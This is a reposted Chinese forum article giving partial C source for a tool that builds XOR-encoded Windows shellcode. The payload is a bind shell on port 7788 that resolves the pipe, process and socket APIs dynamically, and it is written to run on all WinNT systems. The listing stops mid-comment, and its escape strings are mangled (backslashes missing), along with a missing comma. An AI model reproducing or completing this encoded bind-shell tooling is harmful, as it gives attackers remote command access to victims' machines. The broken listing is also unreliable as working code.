当前位置:编程学习 > 网站相关 >>

使用C语言编写提取通用shellcode的程序


文章作者:xiaocheng888  摘自邪恶八进制论坛

说明:此程序测试:Win2K SP4 Local / Win2003 SP0 Local
      可用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
      用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
复制内容到剪贴板
代码:
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode

//
//函数原型
//
void     DecryptSc();  //shellcode解码函数,使用的是xor法加微调法
void     ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void     PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印

//
//用到的部分定义
//
#define  BEGINSTRLEN    0x08    //开始字符串长度
#define  ENDSTRLEN      0x08    //结束标记字符的长度
#define  nop_CODE       0x90    //填充字符,用于不确定shellcode入口用
#define  nop_LEN        0x0     //ShellCode起始的填充长度,真正shellcode的入口
#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT        7788    //绑定端口号 0x1e6c
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key        0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400   //APIstr字符串的长度
#define  API_endstr     "strend"//API结尾标记字符串   
#define  API_endstrlen  0x06    //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{       //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
            _CreatePipe,
            _CreateProcessA,
            _CloseHandle,
            _PeekNamedPipe,
            _ReadFile,
            _WriteFile,
            _ExitProcess,

            //WS2_32
            _WSAStartup,
_WSASocket
_socket,
            _bind,
            _listen,
            _accept,
            _send,
            _recv,
            _ioctlsocket,
            _closesocket,

            //本机测试User32
            _MessageBeep,
            _MessageBoxA,
            API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="x1ex6c"   //端口地址7788

            //Kernel32中查找的API函数名称,用来查找函数地址,下同
            "CreatePipe""x0"
            "CreateProcessA""x0"
            "CloseHandle""x0"
            "PeekNamedPipe""x0"
            "ReadFile""x0"
            "WriteFile""x0"
            "ExitProcess""x0"

            //其它@PI中用到的API
            "wsock32.dll""x0"
            "socket""x0"
            "bind""x0"
            "listen""x0"
            "accept""x0"
            "send""x0"
            "recv""x0"
            "ioctlsocket""x0"
            "closesocket""x0"
            //本机测试
            "user32.dll""x0"
            "MessageBeep""x0"
            "MessageBoxA""x0"

            "x0x0x0x0x0"
            "strend";

  char  *fnbgn_str="x90x90x90x90x90x90x90x90x90";  //标记开始的字符串
  char  *fnend_str="x90x90x90x90x90x90x90x90x90";  //标记结束的字符串

  char  buff[BUFFSIZE];         //缓冲区
  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
  char  *pDcrypt_addr,
        *pSc_addr;

  int   buff_len;               //缓冲长度
  int   EncCode_len;            //加密编码代码长度
  int   Sc_len;                 //原始ShellCode的长度

  int       i,k;
  unsigned  char ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码

补充:综合编程 , 安全编程 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,